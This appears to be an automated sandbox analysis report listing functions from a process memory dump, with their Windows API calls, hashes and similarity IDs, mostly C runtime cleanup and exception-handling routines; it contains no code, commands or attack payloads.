Opcode Fuzzy Hash: 1b58fb1c12a4467edf4b1aa6b652b91fceb493b3b189146260a7fecfde64fd15
Instruction Fuzzy Hash: A731C7749112289BCB21DF25D889BDDB7B4BF08350F5042EAE81CA7290E7749F858F48

Uniqueness

Uniqueness Score: -1.00%

Function 02243B98, Relevance: 4.6, APIs: 3, Instructions: 77COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 02243C90
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 02243C9A
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 02243CA7

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 19449bc542352132481959d704c5729f1a67276622b0d3b4a61f36b47e3d8f04
Instruction ID: 7744b2802806e61faf30b6b747a99f51a4dd171d21ef7c8dbe1452e110ee2b81
Opcode Fuzzy Hash: 19449bc542352132481959d704c5729f1a67276622b0d3b4a61f36b47e3d8f04
Instruction Fuzzy Hash: CD31C675D1122D9BCB21DF64D9887CCB7B4BF08310F6041EAE41DA72A4EB709B858F44

Uniqueness

Uniqueness Score: -1.00%

Function 022412D1, Relevance: 4.5, APIs: 3, Instructions: 20COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,022412D0,?,?,?,?,?,02242382), ref: 022412F3
TerminateProcess.KERNEL32(00000000,?,022412D0,?,?,?,?,?,02242382), ref: 022412FA
ExitProcess.KERNEL32 ref: 0224130C

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 3eade875429b4c25a88e23b0c1fba08e4b47918bb5697763b1cada1f7b41c300
Instruction ID: d29a16277344d7e1423371ac19f08ab320487debf07be43d3237e07082b56089
Opcode Fuzzy Hash: 3eade875429b4c25a88e23b0c1fba08e4b47918bb5697763b1cada1f7b41c300
Instruction Fuzzy Hash: 68E04631510248ABCF266F94CD09A283FA9EB0068AB450424F8098B536CF35E9A2CE84

Uniqueness

Uniqueness Score: -1.00%

Function 0041E0C0, Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 120311aae3dc20b2c255fff1d7f9da21296abfe4b54d78bc673c595ed63f52cf
Instruction ID: 52daeeb2ad75501e7a2ce67ca614771f30f3630410e4ffa780789a0e296a34be
Opcode Fuzzy Hash: 120311aae3dc20b2c255fff1d7f9da21296abfe4b54d78bc673c595ed63f52cf
Instruction Fuzzy Hash: E8F15C75E002199FDF14CFA9C9806EEBBB1FF88314F15826AE819A7340D734AE418B94

Uniqueness

Uniqueness Score: -1.00%

Function 0224E310, Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 120311aae3dc20b2c255fff1d7f9da21296abfe4b54d78bc673c595ed63f52cf
Instruction ID: 02fd43166f1fee504b8e4e258eb4fada51fe6486c08ae297315f6e84d26fe05e
Opcode Fuzzy Hash: 120311aae3dc20b2c255fff1d7f9da21296abfe4b54d78bc673c595ed63f52cf
Instruction Fuzzy Hash: 91F12071E112199FEF18CFA8D880AADFBB1FF48324F158269D915AB345DB31A901CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0042276D, Relevance: 1.8, APIs: 1, Instructions: 274COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00422768,?,?,00000008,?,?,00422400,00000000), ref: 0042299A

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 9327d500d1dcf53504aa43128784884f11a853f8879b9171efc64a189cf31a1c
Instruction ID: f2e94994e35f05def414c5d7c79277112ee6f8cf71206600ed1607562a697a9f
Opcode Fuzzy Hash: 9327d500d1dcf53504aa43128784884f11a853f8879b9171efc64a189cf31a1c
Instruction Fuzzy Hash: 4FB19E31710618EFD728CF28D586B657BA0FF04364F658659E899CF3A2C379E982CB44

Uniqueness

Uniqueness Score: -1.00%

Function 022529BD, Relevance: 1.8, APIs: 1, Instructions: 274COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,022529B8,?,?,00000008,?,?,02252650,00000000), ref: 02252BEA

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 9327d500d1dcf53504aa43128784884f11a853f8879b9171efc64a189cf31a1c
Instruction ID: fc8e81981a18e18be7b2b4fc675bb7118d0aa02e84f55ddf438f7c3b5714fc0e
Opcode Fuzzy Hash: 9327d500d1dcf53504aa43128784884f11a853f8879b9171efc64a189cf31a1c
Instruction Fuzzy Hash: 7EB12831220619CFD719CF68C486B657BA0FB45369F25C658EC9ACF2E6C335E982CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0E2, Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0040F0F8

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 9a16e6b3537ab6a5d70db438d3569bca73a4d7438c2ef73918bf6350fb7104d5
Instruction ID: 76c870dfcaa0d5386070ff42ca5ffd1877ca7c4e041d8fc5b39dd7e4b2a8d15d
Opcode Fuzzy Hash: 9a16e6b3537ab6a5d70db438d3569bca73a4d7438c2ef73918bf6350fb7104d5
Instruction Fuzzy Hash: 89519FB1A01615CBEB24CF65D9847AEB7F0FB44314F6481BAC401EB790D3799D0ACB68

Uniqueness

Uniqueness Score: -1.00%

Function 00419F82, Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72eb23beb1fe39ee4ebf215323bf18b5720bb3b5af75a267f6ea8f8a4bd5123b
Instruction ID: 2d9b78ecc4cbf9b293cfd71c6f18a623020de262774e662891ab93e37f9fbd37
Opcode Fuzzy Hash: 72eb23beb1fe39ee4ebf215323bf18b5720bb3b5af75a267f6ea8f8a4bd5123b
Instruction Fuzzy Hash: F941D2B1C04218AEDB20DF69CC89AEABBB9AF45304F1442DEE40DD3211DA399E858F54

Uniqueness

Uniqueness Score: -1.00%

Function 0224A1D2, Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72eb23beb1fe39ee4ebf215323bf18b5720bb3b5af75a267f6ea8f8a4bd5123b
Instruction ID: ba795b9d95e830f26723a079c19589b5f978c67f96afcc5e6bdf4574a6cddb58
Opcode Fuzzy Hash: 72eb23beb1fe39ee4ebf215323bf18b5720bb3b5af75a267f6ea8f8a4bd5123b
Instruction Fuzzy Hash: CA41D0B185421DAFDB24DFA9CC98AEABBB9EF45300F1442D9E41DE3214DB359E848F10

Uniqueness

Uniqueness Score: -1.00%

Function 0040F427, Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000F433,0040EF2C), ref: 0040F42C

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 97825d8f26a605acf6a58983a0c89bdbf7a4cab852a816e77a0367ca63f625b4
Instruction ID: 36f1e7d1efaa85132187ba7e203d996d3109dfa99066f70058f5a9ce8acd492e
Opcode Fuzzy Hash: 97825d8f26a605acf6a58983a0c89bdbf7a4cab852a816e77a0367ca63f625b4
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0223F677, Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(0040F433,0223F17C), ref: 0223F67C

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 97825d8f26a605acf6a58983a0c89bdbf7a4cab852a816e77a0367ca63f625b4
Instruction ID: 36f1e7d1efaa85132187ba7e203d996d3109dfa99066f70058f5a9ce8acd492e
Opcode Fuzzy Hash: 97825d8f26a605acf6a58983a0c89bdbf7a4cab852a816e77a0367ca63f625b4
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00412A07, Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 00412B83

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: 2933f0aa3988d3ec12a9a516b497fd1cc4f52d3f3b4290dcf3222e06e3459f3a
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: 0C516770204B4996DF388E288B957FF679A9F01384F18051FD442D7382D6DDAEEA835E

Uniqueness

Uniqueness Score: -1.00%

Function 02242C57, Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 02242DD3

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: 353398e7fccadd84d2e88c0631e7e32e4f71e03e2932276f4f72e7132291ef45
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: BA513720230746D6DB3C8AEBC8947BE6B9A9F41308F04075FFC42DB28DCF519A45CA56

Uniqueness

Uniqueness Score: -1.00%

Function 00403040, Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3be69dd4eeaa81891d84061a9649d0fb57a3aa8ee43afd4fbae56a1580e40a0f
Instruction ID: f34399c8a1af1b6de3a84d1bc20b4cae172469e670d2fce1847112685d5ede97
Opcode Fuzzy Hash: 3be69dd4eeaa81891d84061a9649d0fb57a3aa8ee43afd4fbae56a1580e40a0f
Instruction Fuzzy Hash: E6226FB3F515144BDB0CCB9DDCA27EDB2E3AFD8214B0E903DA40AE3345EA79D9158648

Uniqueness

Uniqueness Score: -1.00%

Function 02233290, Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3be69dd4eeaa81891d84061a9649d0fb57a3aa8ee43afd4fbae56a1580e40a0f
Instruction ID: f34399c8a1af1b6de3a84d1bc20b4cae172469e670d2fce1847112685d5ede97
Opcode Fuzzy Hash: 3be69dd4eeaa81891d84061a9649d0fb57a3aa8ee43afd4fbae56a1580e40a0f
Instruction Fuzzy Hash: E6226FB3F515144BDB0CCB9DDCA27EDB2E3AFD8214B0E903DA40AE3345EA79D9158648

Uniqueness

Uniqueness Score: -1.00%

Function 00421517, Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae5eb7c63f93792ab7149f26769f14ecdc7b10bc77f67d625b051ce4ad975ee0
Instruction ID: 5637b0a02b9f8e471ac37456b7ac4546e8bb17c77b31ef2315176d9fafd8207b
Opcode Fuzzy Hash: ae5eb7c63f93792ab7149f26769f14ecdc7b10bc77f67d625b051ce4ad975ee0
Instruction Fuzzy Hash: 0521B673F20439477B0CC47E8C5227DB6E1C68C501745427AE8A6EA2C1D968D917E2E4

Uniqueness

Uniqueness Score: -1.00%

Function 02251767, Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae5eb7c63f93792ab7149f26769f14ecdc7b10bc77f67d625b051ce4ad975ee0
Instruction ID: 1bf836d360855df060a80c65d9a8b8becfd23224716271c5aab12ed042165321
Opcode Fuzzy Hash: ae5eb7c63f93792ab7149f26769f14ecdc7b10bc77f67d625b051ce4ad975ee0
Instruction Fuzzy Hash: 0F21B673F20539477B0CC47E8C5627DB6E1C68C501745827AE8A6EA2C1D968D917E2E4

Uniqueness

Uniqueness Score: -1.00%

Function 004213F7, Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78c1a09097d14c21aa7c52376a45827579712fe32a8ca8282d0271f00a5cc8e5
Instruction ID: e314662d9f018715693b368414e027a39381c81db285a0e4d8fd238117320113
Opcode Fuzzy Hash: 78c1a09097d14c21aa7c52376a45827579712fe32a8ca8282d0271f00a5cc8e5
Instruction Fuzzy Hash: CE11A723F30C255A675C816D8C1327A91D2DBD824434F433AD826E7284E894DE13D290

Uniqueness

Uniqueness Score: -1.00%

Function 02251647, Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78c1a09097d14c21aa7c52376a45827579712fe32a8ca8282d0271f00a5cc8e5
Instruction ID: 3a6416ed18dea1a53c75b6feadcb8b9532dc2e7b27045d52a3b71d10019f6e42
Opcode Fuzzy Hash: 78c1a09097d14c21aa7c52376a45827579712fe32a8ca8282d0271f00a5cc8e5
Instruction Fuzzy Hash: C511A323F30C255A675C81A98C132BAA1D2EBD814074F833AD826E7284E8A4DE23D290

Uniqueness

Uniqueness Score: -1.00%

Function 00423720, Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 852525be469ef68692417ee3873a0637f17a3d8e64878f317627132cdac13cb4
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: D611E9F73001A143DE048E2DF9F46B7A3B5EAC53237ACC2BBD0414B754D22E9B459908

Uniqueness

Uniqueness Score: -1.00%

Function 02253970, Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 6d407efe297c882f012840dd72167dc691551cecff2079813ca40991ea52cf33
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: E4113BF72240A383D624C6AEC4B46B7E795EAC926872CE3FADC828B75CD33290459500

Uniqueness

Uniqueness Score: -1.00%

Function 02230D90, Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da1566a2f6af9372ef5ff0064129cc8c7bd33331f23317b37220a35c5510ad97
Instruction ID: 004f9a87360239e29b056ade64b2ec664f20a9e9e327053e0dbe6954ff53fbf1
Opcode Fuzzy Hash: da1566a2f6af9372ef5ff0064129cc8c7bd33331f23317b37220a35c5510ad97
Instruction Fuzzy Hash: 66F0FCB76105089FDF12CF64C805BAD73F9FB85215F0441A5E806D7245D330FA41CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00414E12, Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22c8ee549e0e701cc67c10f8b31497336b99bd38d043062465dd4583a8c5f113
Instruction ID: eb4d80e1816c4a52466f0707e4fc87a027d8744dc69da25a22990055d8652972
Opcode Fuzzy Hash: 22c8ee549e0e701cc67c10f8b31497336b99bd38d043062465dd4583a8c5f113
Instruction Fuzzy Hash: 22E08C32911238EBCB25DB8DCA0498AF3FCFB88B14B55049BB505D3241C274DE40C7D8

Uniqueness

Uniqueness Score: -1.00%

Function 02245062, Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22c8ee549e0e701cc67c10f8b31497336b99bd38d043062465dd4583a8c5f113
Instruction ID: 898fe278dc4af068c9df5d22c438386b88f0aaa5c7ef85dd06d04517ec6e0686
Opcode Fuzzy Hash: 22c8ee549e0e701cc67c10f8b31497336b99bd38d043062465dd4583a8c5f113
Instruction Fuzzy Hash: A8E08632921238EBCB18DBD8C504D4AF3ECE749B44B510056B501D3104C674DE00CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 0041B9EB, Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 113COMMON

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0041BA2F

Part of subcall function 0041B5C8: _free.LIBCMT ref: 0041B5E5
Part of subcall function 0041B5C8: _free.LIBCMT ref: 0041B5F7
Part of subcall function 0041B5C8: _free.LIBCMT ref: 0041B609
Part of subcall function 0041B5C8: _free.LIBCMT ref: 0041B61B
Part of subcall function 0041B5C8: _free.LIBCMT ref: 0041B62D
Part of subcall function 0041B5C8: _free.LIBCMT ref: 0041B63F
Part of subcall function 0041B5C8: _free.LIBCMT ref: 0041B651
Part of subcall function 0041B5C8: _free.LIBCMT ref: 0041B663
Part of subcall function 0041B5C8: _free.LIBCMT ref: 0041B675
Part of subcall function 0041B5C8: _free.LIBCMT ref: 0041B687
Part of subcall function 0041B5C8: _free.LIBCMT ref: 0041B699
Part of subcall function 0041B5C8: _free.LIBCMT ref: 0041B6AB
Part of subcall function 0041B5C8: _free.LIBCMT ref: 0041B6BD

_free.LIBCMT ref: 0041BA24

Part of subcall function 004154C1: HeapFree.KERNEL32(00000000,00000000,?,004145A3), ref: 004154D7
Part of subcall function 004154C1: GetLastError.KERNEL32(?,?,004145A3), ref: 004154E9

_free.LIBCMT ref: 0041BA46
_free.LIBCMT ref: 0041BA5B
_free.LIBCMT ref: 0041BA66
_free.LIBCMT ref: 0041BA88
_free.LIBCMT ref: 0041BA9B
_free.LIBCMT ref: 0041BAA9
_free.LIBCMT ref: 0041BAB4
_free.LIBCMT ref: 0041BAEC
_free.LIBCMT ref: 0041BAF3
_free.LIBCMT ref: 0041BB10
_free.LIBCMT ref: 0041BB28

Strings

pB, xrefs: 0041BA01

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID: pB
API String ID: 161543041-3059159000
Opcode ID: 99c469b85a8334f7860a8521e5f24c60ddfc68edca42f265535503cae86b3820
Instruction ID: 02eb9b7f6cedb68595ea1e2e4df000aa86c265fce73759de2f294495a80403d0
Opcode Fuzzy Hash: 99c469b85a8334f7860a8521e5f24c60ddfc68edca42f265535503cae86b3820
Instruction Fuzzy Hash: BC315E31600700DFDB21AA3AE845BDB77E8EF80395F10951FE059D7251DB78ADC08798

Uniqueness

Uniqueness Score: -1.00%

Function 0224BC3B, Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 113COMMON

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0224BC7F

Part of subcall function 0224B818: _free.LIBCMT ref: 0224B835
Part of subcall function 0224B818: _free.LIBCMT ref: 0224B847
Part of subcall function 0224B818: _free.LIBCMT ref: 0224B859
Part of subcall function 0224B818: _free.LIBCMT ref: 0224B86B
Part of subcall function 0224B818: _free.LIBCMT ref: 0224B87D
Part of subcall function 0224B818: _free.LIBCMT ref: 0224B88F
Part of subcall function 0224B818: _free.LIBCMT ref: 0224B8A1
Part of subcall function 0224B818: _free.LIBCMT ref: 0224B8B3
Part of subcall function 0224B818: _free.LIBCMT ref: 0224B8C5
Part of subcall function 0224B818: _free.LIBCMT ref: 0224B8D7
Part of subcall function 0224B818: _free.LIBCMT ref: 0224B8E9
Part of subcall function 0224B818: _free.LIBCMT ref: 0224B8FB
Part of subcall function 0224B818: _free.LIBCMT ref: 0224B90D

_free.LIBCMT ref: 0224BC74

Part of subcall function 02245711: HeapFree.KERNEL32(00000000,00000000,?,022447F3), ref: 02245727
Part of subcall function 02245711: GetLastError.KERNEL32(?,?,022447F3), ref: 02245739

_free.LIBCMT ref: 0224BC96
_free.LIBCMT ref: 0224BCAB
_free.LIBCMT ref: 0224BCB6
_free.LIBCMT ref: 0224BCD8
_free.LIBCMT ref: 0224BCEB
_free.LIBCMT ref: 0224BCF9
_free.LIBCMT ref: 0224BD04
_free.LIBCMT ref: 0224BD3C
_free.LIBCMT ref: 0224BD43
_free.LIBCMT ref: 0224BD60
_free.LIBCMT ref: 0224BD78

Strings

B, xrefs: 0224BC51

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID: B
API String ID: 161543041-2386870291
Opcode ID: 99c469b85a8334f7860a8521e5f24c60ddfc68edca42f265535503cae86b3820
Instruction ID: 304b20fe3ad10be4198c6c7b0320704047ccc33deb7d67e1c942688b9f78650c
Opcode Fuzzy Hash: 99c469b85a8334f7860a8521e5f24c60ddfc68edca42f265535503cae86b3820
Instruction Fuzzy Hash: 71316131A20302DFEB396BB9DC84B9A73EAEF00358F644469E095DB259DF34E951CB10

Uniqueness

Uniqueness Score: -1.00%

Function 0224995A, Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 301COMMON

Download Yara Rule

Strings

, xrefs: 02249BE2

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: 85d014af914f65cc9923891e831f20f9f36d7ff5d182b98eb42bd64b66671185
Instruction ID: 47f488097b738c0ff4f4946009e33a5a2a9cafdc3fbc84d29df52a80b66a6964
Opcode Fuzzy Hash: 85d014af914f65cc9923891e831f20f9f36d7ff5d182b98eb42bd64b66671185
Instruction Fuzzy Hash: 00C1D670A24345DFDF19DFD9D880BAEBBB1AF49304F0441A9E9059B399CB709A81CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00415C9A, Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00415CB0

Part of subcall function 004154C1: HeapFree.KERNEL32(00000000,00000000,?,004145A3), ref: 004154D7
Part of subcall function 004154C1: GetLastError.KERNEL32(?,?,004145A3), ref: 004154E9

_free.LIBCMT ref: 00415CBC
_free.LIBCMT ref: 00415CC7
_free.LIBCMT ref: 00415CD2
_free.LIBCMT ref: 00415CDD
_free.LIBCMT ref: 00415CE8
_free.LIBCMT ref: 00415CF3
_free.LIBCMT ref: 00415CFE
_free.LIBCMT ref: 00415D09
_free.LIBCMT ref: 00415D17

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 0c21ef880b1d60341a90e459513d1f7c88c2e850a9c3eb24e8f4f9f902a4b7b2
Instruction ID: 166d972883325de44ce7bdabef546b1d3901efceb99f724343cd7b5bc390e77d
Opcode Fuzzy Hash: 0c21ef880b1d60341a90e459513d1f7c88c2e850a9c3eb24e8f4f9f902a4b7b2
Instruction Fuzzy Hash: FA21BB76900618EFCB41EF95C841DDD7FB8AF88344B00556AFA199B121DB35EAC4CB84

Uniqueness

Uniqueness Score: -1.00%

Function 02245EEA, Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 02245F00

Part of subcall function 02245711: HeapFree.KERNEL32(00000000,00000000,?,022447F3), ref: 02245727
Part of subcall function 02245711: GetLastError.KERNEL32(?,?,022447F3), ref: 02245739

_free.LIBCMT ref: 02245F0C
_free.LIBCMT ref: 02245F17
_free.LIBCMT ref: 02245F22
_free.LIBCMT ref: 02245F2D
_free.LIBCMT ref: 02245F38
_free.LIBCMT ref: 02245F43
_free.LIBCMT ref: 02245F4E
_free.LIBCMT ref: 02245F59
_free.LIBCMT ref: 02245F67

Memory Dump Source

Source File: 00000001.00000002.233561352.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 0c21ef880b1d60341a90e459513d1f7c88c2e850a9c3eb24e8f4f9f902a4b7b2
Instruction ID: 4be78dc3d81379e34f5d428ea73eb62e3b329b7a5248b8ad6e929416a660dff2
Opcode Fuzzy Hash: 0c21ef880b1d60341a90e459513d1f7c88c2e850a9c3eb24e8f4f9f902a4b7b2
Instruction Fuzzy Hash: DD21677A920208EFCB56EFD4C840DDD7BB9AF18340B514166E9559B225EB31DA54CF80

Uniqueness

Uniqueness Score: -1.00%

Function 0040F900, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0040F937
___except_validate_context_record.LIBVCRUNTIME ref: 0040F93F
_ValidateLocalCookies.LIBCMT ref: 0040F9C8
__IsNonwritableInCurrentImage.LIBCMT ref: 0040F9F3
_ValidateLocalCookies.LIBCMT ref: 0040FA48

Strings

csm, xrefs: 0040FA71
csm, xrefs: 0040F9DD

Memory Dump Source

Source File: 00000001.00000002.233124376.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.233196887.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm$csm
API String ID: 1170836740-3733052814
Opcode ID: 0c3c2256af72a61df102aaf674b741db4d987c510a88555500926bfe03ab2711
Instruction ID: 894b8edc5c57a2ad9ab008264311dd0855dc9107bafb368bc8a4d607022375e2
Opcode Fuzzy Hash: 0c3c2256af72a61df102aaf674b741db4d987c510a88555500926bfe03ab2711
Instruction Fuzzy Hash: 7651B030B00215AFCF24DF29D840A6E7BA5AF44318F14807BE8086BBD2D7799D09CB99

Uniqueness

Uniqueness Score: -1.00%

